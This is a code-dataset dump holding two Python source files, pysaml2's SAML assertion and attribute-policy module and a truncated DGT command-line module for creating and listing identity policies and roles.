hexsha stringlengths 40 40 | size int64 1 1.03M | ext stringclasses 10
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 3 239 | max_stars_repo_name stringlengths 5 130 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses listlengths 1 10 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 3 239 | max_issues_repo_name stringlengths 5 130 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses listlengths 1 10 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 3 239 | max_forks_repo_name stringlengths 5 130 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses listlengths 1 10 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 1 1.03M | avg_line_length float64 1 958k | max_line_length int64 1 1.03M | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
795c0cd8856148044be5093e92209f0e3bdff85f | 25,899 | py | Python | src/saml2/assertion.py | zlpublic/pysaml2 | e341cdc5fe2f0a0c47b94c1a58d38ac03786db34 | [
"Apache-2.0"
] | null | null | null | src/saml2/assertion.py | zlpublic/pysaml2 | e341cdc5fe2f0a0c47b94c1a58d38ac03786db34 | [
"Apache-2.0"
] | null | null | null | src/saml2/assertion.py | zlpublic/pysaml2 | e341cdc5fe2f0a0c47b94c1a58d38ac03786db34 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import importlib
import logging
import re
from saml2.saml import NAME_FORMAT_URI
import six
from saml2 import xmlenc
from saml2 import saml
from saml2.time_util import instant, in_a_while
from saml2.attribute_converter import from_local, get_local_name
from saml2.s_utils import sid, MissingValue
from saml2.s_utils import factory
from saml2.s_utils import assertion_factory
logger = logging.getLogger(__name__)
def _filter_values(vals, vlist=None, must=False):
""" Removes values from *vals* that does not appear in vlist
:param vals: The values that are to be filtered
:param vlist: required or optional value
:param must: Whether the allowed values must appear
:return: The set of values after filtering
"""
if not vlist: # No value specified equals any value
return vals
if isinstance(vlist, six.string_types):
vlist = [vlist]
res = []
for val in vlist:
if val in vals:
res.append(val)
if must:
if res:
return res
else:
raise MissingValue("Required attribute value missing")
else:
return res
def _match(attr, ava):
if attr in ava:
return attr
_la = attr.lower()
if _la in ava:
return _la
for _at in ava.keys():
if _at.lower() == _la:
return _at
return None
def filter_on_attributes(ava, required=None, optional=None, acs=None,
fail_on_unfulfilled_requirements=True):
""" Filter
:param ava: An attribute value assertion as a dictionary
:param required: list of RequestedAttribute instances defined to be
required
:param optional: list of RequestedAttribute instances defined to be
optional
:param fail_on_unfulfilled_requirements: If required attributes
are missing fail or fail not depending on this parameter.
:return: The modified attribute value assertion
"""
res = {}
if required is None:
required = []
nform = "friendly_name"
for attr in required:
try:
_name = attr[nform]
except KeyError:
if nform == "friendly_name":
_name = get_local_name(acs, attr["name"],
attr["name_format"])
else:
continue
_fn = _match(_name, ava)
if not _fn: # In the unlikely case that someone has provided us
# with URIs as attribute names
_fn = _match(attr["name"], ava)
if _fn:
try:
values = [av["text"] for av in attr["attribute_value"]]
except KeyError:
values = []
res[_fn] = _filter_values(ava[_fn], values, True)
continue
elif fail_on_unfulfilled_requirements:
desc = "Required attribute missing: '%s' (%s)" % (attr["name"],
_name)
raise MissingValue(desc)
if optional is None:
optional = []
for attr in optional:
for nform in ["friendly_name", "name"]:
if nform in attr:
_fn = _match(attr[nform], ava)
if _fn:
try:
values = [av["text"] for av in attr["attribute_value"]]
except KeyError:
values = []
try:
res[_fn].extend(_filter_values(ava[_fn], values))
except KeyError:
res[_fn] = _filter_values(ava[_fn], values)
return res
def filter_on_demands(ava, required=None, optional=None):
""" Never return more than is needed. Filters out everything
the server is prepared to return but the receiver doesn't ask for
:param ava: Attribute value assertion as a dictionary
:param required: Required attributes
:param optional: Optional attributes
:return: The possibly reduced assertion
"""
# Is all what's required there:
if required is None:
required = {}
lava = dict([(k.lower(), k) for k in ava.keys()])
for attr, vals in required.items():
attr = attr.lower()
if attr in lava:
if vals:
for val in vals:
if val not in ava[lava[attr]]:
raise MissingValue(
"Required attribute value missing: %s,%s" % (attr,
val))
else:
raise MissingValue("Required attribute missing: %s" % (attr,))
if optional is None:
optional = {}
oka = [k.lower() for k in required.keys()]
oka.extend([k.lower() for k in optional.keys()])
# OK, so I can imaging releasing values that are not absolutely necessary
# but not attributes that are not asked for.
for attr in lava.keys():
if attr not in oka:
del ava[lava[attr]]
return ava
def filter_on_wire_representation(ava, acs, required=None, optional=None):
"""
:param ava: A dictionary with attributes and values
:param acs: List of tuples (Attribute Converter name,
Attribute Converter instance)
:param required: A list of saml.Attributes
:param optional: A list of saml.Attributes
:return: Dictionary of expected/wanted attributes and values
"""
acsdic = dict([(ac.name_format, ac) for ac in acs])
if required is None:
required = []
if optional is None:
optional = []
res = {}
for attr, val in ava.items():
done = False
for req in required:
try:
_name = acsdic[req.name_format]._to[attr]
if _name == req.name:
res[attr] = val
done = True
except KeyError:
pass
if done:
continue
for opt in optional:
try:
_name = acsdic[opt.name_format]._to[attr]
if _name == opt.name:
res[attr] = val
break
except KeyError:
pass
return res
def filter_attribute_value_assertions(ava, attribute_restrictions=None):
""" Will weed out attribute values and values according to the
rules defined in the attribute restrictions. If filtering results in
an attribute without values, then the attribute is removed from the
assertion.
:param ava: The incoming attribute value assertion (dictionary)
:param attribute_restrictions: The rules that govern which attributes
and values that are allowed. (dictionary)
:return: The modified attribute value assertion
"""
if not attribute_restrictions:
return ava
for attr, vals in list(ava.items()):
_attr = attr.lower()
try:
_rests = attribute_restrictions[_attr]
except KeyError:
del ava[attr]
else:
if _rests is None:
continue
if isinstance(vals, six.string_types):
vals = [vals]
rvals = []
for restr in _rests:
for val in vals:
if restr.match(val):
rvals.append(val)
if rvals:
ava[attr] = list(set(rvals))
else:
del ava[attr]
return ava
def restriction_from_attribute_spec(attributes):
restr = {}
for attribute in attributes:
restr[attribute.name] = {}
for val in attribute.attribute_value:
if not val.text:
restr[attribute.name] = None
break
else:
restr[attribute.name] = re.compile(val.text)
return restr
def post_entity_categories(maps, **kwargs):
restrictions = {}
if kwargs["mds"]:
try:
ecs = kwargs["mds"].entity_categories(kwargs["sp_entity_id"])
except KeyError:
for ec_map in maps:
for attr in ec_map[""]:
restrictions[attr] = None
else:
for ec_map in maps:
for key, val in ec_map.items():
if key == "": # always released
attrs = val
elif isinstance(key, tuple):
attrs = val
for _key in key:
try:
assert _key in ecs
except AssertionError:
attrs = []
break
elif key in ecs:
attrs = val
else:
attrs = []
for attr in attrs:
restrictions[attr] = None
return restrictions
class Policy(object):
""" handles restrictions on assertions """
def __init__(self, restrictions=None):
if restrictions:
self.compile(restrictions)
else:
self._restrictions = None
self.acs = []
def compile(self, restrictions):
""" This is only for IdPs or AAs, and it's about limiting what
is returned to the SP.
In the configuration file, restrictions on which values that
can be returned are specified with the help of regular expressions.
This function goes through and pre-compiles the regular expressions.
:param restrictions:
:return: The assertion with the string specification replaced with
a compiled regular expression.
"""
self._restrictions = restrictions.copy()
for who, spec in self._restrictions.items():
if spec is None:
continue
try:
items = spec["entity_categories"]
except KeyError:
pass
else:
ecs = []
for cat in items:
_mod = importlib.import_module(
"saml2.entity_category.%s" % cat)
_ec = {}
for key, items in _mod.RELEASE.items():
_ec[key] = [k.lower() for k in items]
ecs.append(_ec)
spec["entity_categories"] = ecs
try:
restr = spec["attribute_restrictions"]
except KeyError:
continue
if restr is None:
continue
_are = {}
for key, values in restr.items():
if not values:
_are[key.lower()] = None
continue
_are[key.lower()] = [re.compile(value) for value in values]
spec["attribute_restrictions"] = _are
logger.debug("policy restrictions: %s" % self._restrictions)
return self._restrictions
def get(self, attribute, sp_entity_id, default=None, post_func=None,
**kwargs):
"""
:param attribute:
:param sp_entity_id:
:param default:
:param post_func:
:return:
"""
if not self._restrictions:
return default
try:
try:
val = self._restrictions[sp_entity_id][attribute]
except KeyError:
try:
val = self._restrictions["default"][attribute]
except KeyError:
val = None
except KeyError:
val = None
if val is None:
return default
elif post_func:
return post_func(val, sp_entity_id=sp_entity_id, **kwargs)
else:
return val
def get_nameid_format(self, sp_entity_id):
""" Get the NameIDFormat to used for the entity id
:param: The SP entity ID
:retur: The format
"""
return self.get("nameid_format", sp_entity_id,
saml.NAMEID_FORMAT_TRANSIENT)
def get_name_form(self, sp_entity_id):
""" Get the NameFormat to used for the entity id
:param: The SP entity ID
:retur: The format
"""
return self.get("name_format", sp_entity_id, NAME_FORMAT_URI)
def get_lifetime(self, sp_entity_id):
""" The lifetime of the assertion
:param sp_entity_id: The SP entity ID
:param: lifetime as a dictionary
"""
# default is a hour
return self.get("lifetime", sp_entity_id, {"hours": 1})
def get_attribute_restrictions(self, sp_entity_id):
""" Return the attribute restriction for SP that want the information
:param sp_entity_id: The SP entity ID
:return: The restrictions
"""
return self.get("attribute_restrictions", sp_entity_id)
def get_fail_on_missing_requested(self, sp_entity_id):
""" Return the whether the IdP should should fail if the SPs
requested attributes could not be found.
:param sp_entity_id: The SP entity ID
:return: The restrictions
"""
return self.get("fail_on_missing_requested", sp_entity_id, True)
def entity_category_attributes(self, ec):
if not self._restrictions:
return None
ec_maps = self._restrictions["default"]["entity_categories"]
for ec_map in ec_maps:
try:
return ec_map[ec]
except KeyError:
pass
return []
def get_entity_categories(self, sp_entity_id, mds):
"""
:param sp_entity_id:
:param mds: MetadataStore instance
:return: A dictionary with restrictions
"""
kwargs = {"mds": mds}
return self.get("entity_categories", sp_entity_id, default={},
post_func=post_entity_categories, **kwargs)
def not_on_or_after(self, sp_entity_id):
""" When the assertion stops being valid, should not be
used after this time.
:param sp_entity_id: The SP entity ID
:return: String representation of the time
"""
return in_a_while(**self.get_lifetime(sp_entity_id))
def filter(self, ava, sp_entity_id, mdstore, required=None, optional=None):
""" What attribute and attribute values returns depends on what
the SP has said it wants in the request or in the metadata file and
what the IdP/AA wants to release. An assumption is that what the SP
asks for overrides whatever is in the metadata. But of course the
IdP never releases anything it doesn't want to.
:param ava: The information about the subject as a dictionary
:param sp_entity_id: The entity ID of the SP
:param mdstore: A Metadata store
:param required: Attributes that the SP requires in the assertion
:param optional: Attributes that the SP regards as optional
:return: A possibly modified AVA
"""
_ava = None
if required or optional:
logger.debug("required: %s, optional: %s" % (required, optional))
_ava = filter_on_attributes(
ava.copy(), required, optional, self.acs,
self.get_fail_on_missing_requested(sp_entity_id))
_rest = self.get_entity_categories(sp_entity_id, mdstore)
if _rest:
ava_ec = filter_attribute_value_assertions(ava.copy(), _rest)
if _ava is None:
_ava = ava_ec
else:
_ava.update(ava_ec)
_rest = self.get_attribute_restrictions(sp_entity_id)
if _rest:
if _ava is None:
_ava = ava.copy()
_ava = filter_attribute_value_assertions(_ava, _rest)
elif _ava is None:
_ava = ava.copy()
if _ava is None:
return {}
else:
return _ava
def restrict(self, ava, sp_entity_id, metadata=None):
""" Identity attribute names are expected to be expressed in
the local lingo (== friendlyName)
:return: A filtered ava according to the IdPs/AAs rules and
the list of required/optional attributes according to the SP.
If the requirements can't be met an exception is raised.
"""
if metadata:
spec = metadata.attribute_requirement(sp_entity_id)
if spec:
return self.filter(ava, sp_entity_id, metadata,
spec["required"], spec["optional"])
return self.filter(ava, sp_entity_id, metadata, [], [])
def conditions(self, sp_entity_id):
""" Return a saml.Condition instance
:param sp_entity_id: The SP entity ID
:return: A saml.Condition instance
"""
return factory(saml.Conditions,
not_before=instant(),
# How long might depend on who's getting it
not_on_or_after=self.not_on_or_after(sp_entity_id),
audience_restriction=[factory(
saml.AudienceRestriction,
audience=[factory(saml.Audience,
text=sp_entity_id)])])
def get_sign(self, sp_entity_id):
"""
Possible choices
"sign": ["response", "assertion", "on_demand"]
:param sp_entity_id:
:return:
"""
return self.get("sign", sp_entity_id, [])
class EntityCategories(object):
pass
def _authn_context_class_ref(authn_class, authn_auth=None):
"""
Construct the authn context with a authn context class reference
:param authn_class: The authn context class reference
:param authn_auth: Authenticating Authority
:return: An AuthnContext instance
"""
cntx_class = factory(saml.AuthnContextClassRef, text=authn_class)
if authn_auth:
return factory(saml.AuthnContext,
authn_context_class_ref=cntx_class,
authenticating_authority=factory(
saml.AuthenticatingAuthority, text=authn_auth))
else:
return factory(saml.AuthnContext,
authn_context_class_ref=cntx_class)
def _authn_context_decl(decl, authn_auth=None):
"""
Construct the authn context with a authn context declaration
:param decl: The authn context declaration
:param authn_auth: Authenticating Authority
:return: An AuthnContext instance
"""
return factory(saml.AuthnContext,
authn_context_decl=decl,
authenticating_authority=factory(
saml.AuthenticatingAuthority, text=authn_auth))
def _authn_context_decl_ref(decl_ref, authn_auth=None):
"""
Construct the authn context with a authn context declaration reference
:param decl_ref: The authn context declaration reference
:param authn_auth: Authenticating Authority
:return: An AuthnContext instance
"""
return factory(saml.AuthnContext,
authn_context_decl_ref=decl_ref,
authenticating_authority=factory(
saml.AuthenticatingAuthority, text=authn_auth))
def authn_statement(authn_class=None, authn_auth=None,
authn_decl=None, authn_decl_ref=None, authn_instant="",
subject_locality=""):
"""
Construct the AuthnStatement
:param authn_class: Authentication Context Class reference
:param authn_auth: Authenticating Authority
:param authn_decl: Authentication Context Declaration
:param authn_decl_ref: Authentication Context Declaration reference
:param authn_instant: When the Authentication was performed.
Assumed to be seconds since the Epoch.
:param subject_locality: Specifies the DNS domain name and IP address
for the system from which the assertion subject was apparently
authenticated.
:return: An AuthnContext instance
"""
if authn_instant:
_instant = instant(time_stamp=authn_instant)
else:
_instant = instant()
if authn_class:
res = factory(
saml.AuthnStatement,
authn_instant=_instant,
session_index=sid(),
authn_context=_authn_context_class_ref(
authn_class, authn_auth))
elif authn_decl:
res = factory(
saml.AuthnStatement,
authn_instant=_instant,
session_index=sid(),
authn_context=_authn_context_decl(authn_decl, authn_auth))
elif authn_decl_ref:
res = factory(
saml.AuthnStatement,
authn_instant=_instant,
session_index=sid(),
authn_context=_authn_context_decl_ref(authn_decl_ref,
authn_auth))
else:
res = factory(
saml.AuthnStatement,
authn_instant=_instant,
session_index=sid())
if subject_locality:
res.subject_locality = saml.SubjectLocality(text=subject_locality)
return res
class Assertion(dict):
""" Handles assertions about subjects """
def __init__(self, dic=None):
dict.__init__(self, dic)
self.acs = []
def construct(self, sp_entity_id, in_response_to, consumer_url,
name_id, attrconvs, policy, issuer, authn_class=None,
authn_auth=None, authn_decl=None, encrypt=None,
sec_context=None, authn_decl_ref=None, authn_instant="",
subject_locality="", authn_statem=None, add_subject=True):
""" Construct the Assertion
:param sp_entity_id: The entityid of the SP
:param in_response_to: An identifier of the message, this message is
a response to
:param consumer_url: The intended consumer of the assertion
:param name_id: An NameID instance
:param attrconvs: AttributeConverters
:param policy: The policy that should be adhered to when replying
:param issuer: Who is issuing the statement
:param authn_class: The authentication class
:param authn_auth: The authentication instance
:param authn_decl: An Authentication Context declaration
:param encrypt: Whether to encrypt parts or all of the Assertion
:param sec_context: The security context used when encrypting
:param authn_decl_ref: An Authentication Context declaration reference
:param authn_instant: When the Authentication was performed
:param subject_locality: Specifies the DNS domain name and IP address
for the system from which the assertion subject was apparently
authenticated.
:param authn_statem: A AuthnStatement instance
:return: An Assertion instance
"""
if policy:
_name_format = policy.get_name_form(sp_entity_id)
else:
_name_format = NAME_FORMAT_URI
attr_statement = saml.AttributeStatement(attribute=from_local(
attrconvs, self, _name_format))
if encrypt == "attributes":
for attr in attr_statement.attribute:
enc = sec_context.encrypt(text="%s" % attr)
encd = xmlenc.encrypted_data_from_string(enc)
encattr = saml.EncryptedAttribute(encrypted_data=encd)
attr_statement.encrypted_attribute.append(encattr)
attr_statement.attribute = []
# start using now and for some time
conds = policy.conditions(sp_entity_id)
if authn_statem:
_authn_statement = authn_statem
elif authn_auth or authn_class or authn_decl or authn_decl_ref:
_authn_statement = authn_statement(authn_class, authn_auth,
authn_decl, authn_decl_ref,
authn_instant,
subject_locality)
else:
_authn_statement = None
if not add_subject:
_ass = assertion_factory(
issuer=issuer,
conditions=conds,
subject=None
)
else:
_ass = assertion_factory(
issuer=issuer,
conditions=conds,
subject=factory(
saml.Subject,
name_id=name_id,
subject_confirmation=[factory(
saml.SubjectConfirmation,
method=saml.SCM_BEARER,
subject_confirmation_data=factory(
saml.SubjectConfirmationData,
in_response_to=in_response_to,
recipient=consumer_url,
not_on_or_after=policy.not_on_or_after(sp_entity_id)))]
),
)
if _authn_statement:
_ass.authn_statement = [_authn_statement]
if not attr_statement.empty():
_ass.attribute_statement=[attr_statement]
return _ass
def apply_policy(self, sp_entity_id, policy, metadata=None):
""" Apply policy to the assertion I'm representing
:param sp_entity_id: The SP entity ID
:param policy: The policy
:param metadata: Metadata to use
:return: The resulting AVA after the policy is applied
"""
policy.acs = self.acs
ava = policy.restrict(self, sp_entity_id, metadata)
for key, val in list(self.items()):
if key in ava:
self[key] = ava[key]
else:
del self[key]
return ava
| 33.332046 | 83 | 0.575196 |
795c0dc9427cfcd292b31ba73e26b57555e673e2 | 21,036 | py | Python | bgx/cli/bgx_cli/identity.py | DGT-Network/DGT-SDK | 3413ae22e79c13e71264271fa3f82203fd49f0b3 | [
"Apache-2.0"
] | null | null | null | bgx/cli/bgx_cli/identity.py | DGT-Network/DGT-SDK | 3413ae22e79c13e71264271fa3f82203fd49f0b3 | [
"Apache-2.0"
] | null | null | null | bgx/cli/bgx_cli/identity.py | DGT-Network/DGT-SDK | 3413ae22e79c13e71264271fa3f82203fd49f0b3 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 NTRLab
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ------------------------------------------------------------------------------
from base64 import b64decode
import csv
import getpass
import hashlib
import json
import os
import sys
import time
import random
import yaml
from bgx_cli.exceptions import CliException
from bgx_cli.rest_client import RestClient
from bgx_cli import tty
from bgx_cli.protobuf.identities_pb2 import IdentityPayload
from bgx_cli.protobuf.identity_pb2 import Policy
from bgx_cli.protobuf.identity_pb2 import PolicyList
from bgx_cli.protobuf.identity_pb2 import Role
from bgx_cli.protobuf.identity_pb2 import RoleList
from dgt_sdk.protobuf.transaction_pb2 import TransactionHeader,Transaction
from dgt_sdk.protobuf.batch_pb2 import BatchHeader,Batch,BatchList
#from bgx_cli.protobuf.transaction_pb2 import TransactionHeader,Transaction
#from bgx_cli.protobuf.batch_pb2 import BatchHeader,Batch,BatchList
from bgx_cli.bgxset import setting_key_to_address
from dgt_signing import create_context
from dgt_signing import CryptoFactory
from dgt_signing import ParseError
from dgt_signing.secp256k1 import Secp256k1PrivateKey
IDENTITY_NAMESPACE = '00001d'
_MIN_PRINT_WIDTH = 15
_MAX_KEY_PARTS = 4
_FIRST_ADDRESS_PART_SIZE = 14
_ADDRESS_PART_SIZE = 16
_POLICY_PREFIX = "00"
_ROLE_PREFIX = "01"
_EMPTY_PART = hashlib.sha256("".encode()).hexdigest()[:_ADDRESS_PART_SIZE]
_REQUIRED_INPUT = setting_key_to_address("sawtooth.identity.allowed_keys")
def add_identity_parser(subparsers, parent_parser):
"""Creates the arg parsers needed for the identity command and
its subcommands.
"""
# identity
parser = subparsers.add_parser(
'identity',
help='Works with optional roles, policies, and permissions',
description='Provides subcommands to work with roles and policies.')
identity_parsers = parser.add_subparsers(
title="subcommands",
dest="subcommand")
identity_parsers.required = True
# policy
policy_parser = identity_parsers.add_parser(
'policy',
help='Provides subcommands to display existing policies and create '
'new policies',
description='Provides subcommands to list the current policies '
'stored in state and to create new policies.')
policy_parsers = policy_parser.add_subparsers(
title='policy',
dest='policy_cmd')
policy_parsers.required = True
# policy create
create_parser = policy_parsers.add_parser(
'create',
help='Creates batches of sawtooth-identity transactions for setting a '
'policy',
description='Creates a policy that can be set to a role or changes a '
'policy without resetting the role.')
create_parser.add_argument(
'-k', '--key',
type=str,
help='specify the signing key for the resulting batches')
create_target_group = create_parser.add_mutually_exclusive_group()
create_target_group.add_argument(
'-o', '--output',
type=str,
help='specify the output filename for the resulting batches')
create_target_group.add_argument(
'--url',
type=str,
help="identify the URL of a validator's REST API",
default='http://localhost:8008')
create_parser.add_argument(
'--wait',
type=int,
default=15,
help="set time, in seconds, to wait for the policy to commit when "
"submitting to the REST API.")
create_parser.add_argument(
'name',
type=str,
help='name of the new policy')
create_parser.add_argument(
'rule',
type=str,
nargs="+",
help='rule with the format "PERMIT_KEY <key>" or "DENY_KEY <key> '
'(multiple "rule" arguments can be specified)')
# policy list
list_parser = policy_parsers.add_parser(
'list',
help='Lists the current policies',
description='Lists the policies that are currently set in state.')
list_parser.add_argument(
'--url',
type=str,
help="identify the URL of a validator's REST API",
default='http://localhost:8008')
list_parser.add_argument(
'--format',
default='default',
choices=['default', 'csv', 'json', 'yaml'],
help='choose the output format')
# role
role_parser = identity_parsers.add_parser(
'role',
help='Provides subcommands to display existing roles and create '
'new roles',
description='Provides subcommands to list the current roles '
'stored in state and to create new roles.')
role_parsers = role_parser.add_subparsers(
title='role',
dest='role_cmd')
role_parsers.required = True
# role create
create_parser = role_parsers.add_parser(
'create',
help='Creates a new role that can be used to enforce permissions',
description='Creates a new role that can be used to enforce '
'permissions.')
create_parser.add_argument(
'-k', '--key',
type=str,
help='specify the signing key for the resulting batches')
create_parser.add_argument(
'--wait',
type=int,
default=15,
help='set time, in seconds, to wait for a role to commit '
'when submitting to the REST API.')
create_target_group = create_parser.add_mutually_exclusive_group()
create_target_group.add_argument(
'-o', '--output',
type=str,
help='specify the output filename for the resulting batches')
create_target_group.add_argument(
'--url',
type=str,
help="the URL of a validator's REST API",
default='http://localhost:8008')
create_parser.add_argument(
'name',
type=str,
help='name of the role')
create_parser.add_argument(
'policy',
type=str,
help='identify policy that role will be restricted to')
# role list
list_parser = role_parsers.add_parser(
'list',
help='Lists the current keys and values of roles',
description='Displays the roles that are currently set in state.')
list_parser.add_argument(
'--url',
type=str,
help="identify the URL of a validator's REST API",
default='http://localhost:8008')
list_parser.add_argument(
'--format',
default='default',
choices=['default', 'csv', 'json', 'yaml'],
help='choose the output format')
def do_identity(args):
"""Executes the config commands subcommands.
"""
if args.subcommand == 'policy' and args.policy_cmd == 'create':
_do_identity_policy_create(args)
elif args.subcommand == 'policy' and args.policy_cmd == 'list':
_do_identity_policy_list(args)
elif args.subcommand == 'role' and args.role_cmd == 'create':
_do_identity_role_create(args)
elif args.subcommand == 'role' and args.role_cmd == 'list':
_do_identity_role_list(args)
else:
raise AssertionError(
'"{}" is not a valid subcommand of "identity"'.format(
args.subcommand))
def _do_identity_policy_create(args):
"""Executes the 'policy create' subcommand. Given a key file, and a
series of entries, it generates a batch of sawtooth_identity
transactions in a BatchList instance. The BatchList is either stored to a
file or submitted to a validator, depending on the supplied CLI arguments.
"""
signer = _read_signer(args.key)
txns = [_create_policy_txn(signer, args.name, args.rule)]
batch = _create_batch(signer, txns)
batch_list = BatchList(batches=[batch])
if args.output is not None:
try:
with open(args.output, 'wb') as batch_file:
batch_file.write(batch_list.SerializeToString())
except IOError as e:
raise CliException(
'Unable to write to batch file: {}'.format(str(e)))
elif args.url is not None:
rest_client = RestClient(args.url)
rest_client.send_batches(batch_list)
if args.wait and args.wait > 0:
batch_id = batch.header_signature
wait_time = 0
start_time = time.time()
while wait_time < args.wait:
statuses = rest_client.get_statuses(
[batch_id],
args.wait - int(wait_time))
wait_time = time.time() - start_time
if statuses[0]['status'] == 'COMMITTED':
print(
'Policy committed in {:.6} sec'.format(wait_time))
return
# Wait a moment so as not to hammer the Rest Api
time.sleep(0.2)
print('Wait timed out! Policy was not committed...')
print('{:128.128} {}'.format(
batch_id,
statuses[0]['status']))
exit(1)
else:
raise AssertionError('No target for create set.')
def _do_identity_policy_list(args):
rest_client = RestClient(args.url)
state = rest_client.list_state(subtree=IDENTITY_NAMESPACE + _POLICY_PREFIX)
head = state['head']
state_values = state['data']
printable_policies = []
for state_value in state_values:
policies_list = PolicyList()
decoded = b64decode(state_value['data'])
policies_list.ParseFromString(decoded)
for policy in policies_list.policies:
printable_policies.append(policy)
printable_policies.sort(key=lambda p: p.name)
if args.format == 'default':
tty_width = tty.width()
for policy in printable_policies:
# Set value width to the available terminal space, or the min width
width = tty_width - len(policy.name) - 3
width = width if width > _MIN_PRINT_WIDTH else _MIN_PRINT_WIDTH
value = "Entries:\n"
for entry in policy.entries:
entry_string = (" " * 4) + Policy.EntryType.Name(entry.type) \
+ " " + entry.key
value += (entry_string[:width] + '...'
if len(entry_string) > width
else entry_string) + "\n"
print('{}: \n {}'.format(policy.name, value))
elif args.format == 'csv':
try:
writer = csv.writer(sys.stdout, quoting=csv.QUOTE_ALL)
writer.writerow(['POLICY NAME', 'ENTRIES'])
for policy in printable_policies:
output = [policy.name]
for entry in policy.entries:
output.append(
Policy.EntryType.Name(entry.type) + " " + entry.key)
writer.writerow(output)
except csv.Error:
raise CliException('Error writing CSV')
elif args.format == 'json' or args.format == 'yaml':
output = {}
for policy in printable_policies:
value = "Entries: "
for entry in policy.entries:
entry_string = Policy.EntryType.Name(entry.type) + " " \
+ entry.key
value += entry_string + " "
output[policy.name] = value
policies_snapshot = {
'head': head,
'policies': output
}
if args.format == 'json':
print(json.dumps(policies_snapshot, indent=2, sort_keys=True))
else:
print(yaml.dump(policies_snapshot, default_flow_style=False)[0:-1])
else:
raise AssertionError('Unknown format {}'.format(args.format))
def _do_identity_role_create(args):
"""Executes the 'role create' subcommand. Given a key file, a role name,
and a policy name it generates a batch of sawtooth_identity
transactions in a BatchList instance. The BatchList is either stored to a
file or submitted to a validator, depending on the supplied CLI arguments.
"""
signer = _read_signer(args.key)
txns = [_create_role_txn(signer, args.name,
args.policy)]
batch = _create_batch(signer, txns)
batch_list = BatchList(batches=[batch])
if args.output is not None:
try:
with open(args.output, 'wb') as batch_file:
batch_file.write(batch_list.SerializeToString())
except IOError as e:
raise CliException(
'Unable to write to batch file: {}'.format(str(e)))
elif args.url is not None:
rest_client = RestClient(args.url)
rest_client.send_batches(batch_list)
if args.wait and args.wait > 0:
batch_id = batch.header_signature
wait_time = 0
start_time = time.time()
while wait_time < args.wait:
statuses = rest_client.get_statuses(
[batch_id],
args.wait - int(wait_time))
wait_time = time.time() - start_time
if statuses[0]['status'] == 'COMMITTED':
print(
'Role committed in {:.6} sec'.format(wait_time))
return
# Wait a moment so as not to hammer the Rest Api
time.sleep(0.2)
print('Wait timed out! Role was not committed...')
print('{:128.128} {}'.format(
batch_id,
statuses[0]['status']))
exit(1)
else:
raise AssertionError('No target for create set.')
def _do_identity_role_list(args):
"""Lists the current on-chain configuration values.
"""
rest_client = RestClient(args.url)
state = rest_client.list_state(subtree=IDENTITY_NAMESPACE + _ROLE_PREFIX)
head = state['head']
state_values = state['data']
printable_roles = []
for state_value in state_values:
role_list = RoleList()
decoded = b64decode(state_value['data'])
role_list.ParseFromString(decoded)
for role in role_list.roles:
printable_roles.append(role)
printable_roles.sort(key=lambda r: r.name)
if args.format == 'default':
tty_width = tty.width()
for role in printable_roles:
# Set value width to the available terminal space, or the min width
width = tty_width - len(role.name) - 3
width = width if width > _MIN_PRINT_WIDTH else _MIN_PRINT_WIDTH
value = (role.policy_name[:width] + '...'
if len(role.policy_name) > width
else role.policy_name)
print('{}: {}'.format(role.name, value))
elif args.format == 'csv':
try:
writer = csv.writer(sys.stdout, quoting=csv.QUOTE_ALL)
writer.writerow(['KEY', 'VALUE'])
for role in printable_roles:
writer.writerow([role.name, role.policy_name])
except csv.Error:
raise CliException('Error writing CSV')
elif args.format == 'json' or args.format == 'yaml':
roles_snapshot = {
'head': head,
'roles': {role.name: role.policy_name
for role in printable_roles}
}
if args.format == 'json':
print(json.dumps(roles_snapshot, indent=2, sort_keys=True))
else:
print(yaml.dump(roles_snapshot, default_flow_style=False)[0:-1])
else:
raise AssertionError('Unknown format {}'.format(args.format))
def _create_policy_txn(signer, policy_name, rules):
entries = []
for rule in rules:
rule = rule.split(" ")
if rule[0] == "PERMIT_KEY":
entry = Policy.Entry(type=Policy.PERMIT_KEY,
key=rule[1])
entries.append(entry)
elif rule[0] == "DENY_KEY":
entry = Policy.Entry(type=Policy.DENY_KEY,
key=rule[1])
entries.append(entry)
policy = Policy(name=policy_name, entries=entries)
payload = IdentityPayload(type=IdentityPayload.POLICY,
data=policy.SerializeToString())
policy_address = _policy_to_address(policy_name)
header = TransactionHeader(
signer_public_key=signer.get_public_key().as_hex(),
family_name='sawtooth_identity',
family_version='1.0',
inputs=[_REQUIRED_INPUT, policy_address],
outputs=[policy_address],
dependencies=[],
payload_sha512=hashlib.sha512(
payload.SerializeToString()).hexdigest(),
batcher_public_key=signer.get_public_key().as_hex(),
nonce=hex(random.randint(0, 2**64)))
header_bytes = header.SerializeToString()
transaction = Transaction(
header=header_bytes,
payload=payload.SerializeToString(),
header_signature=signer.sign(header_bytes))
return transaction
def _create_role_txn(signer, role_name, policy_name):
role = Role(name=role_name, policy_name=policy_name)
payload = IdentityPayload(type=IdentityPayload.ROLE,
data=role.SerializeToString())
policy_address = _policy_to_address(policy_name)
role_address = _role_to_address(role_name)
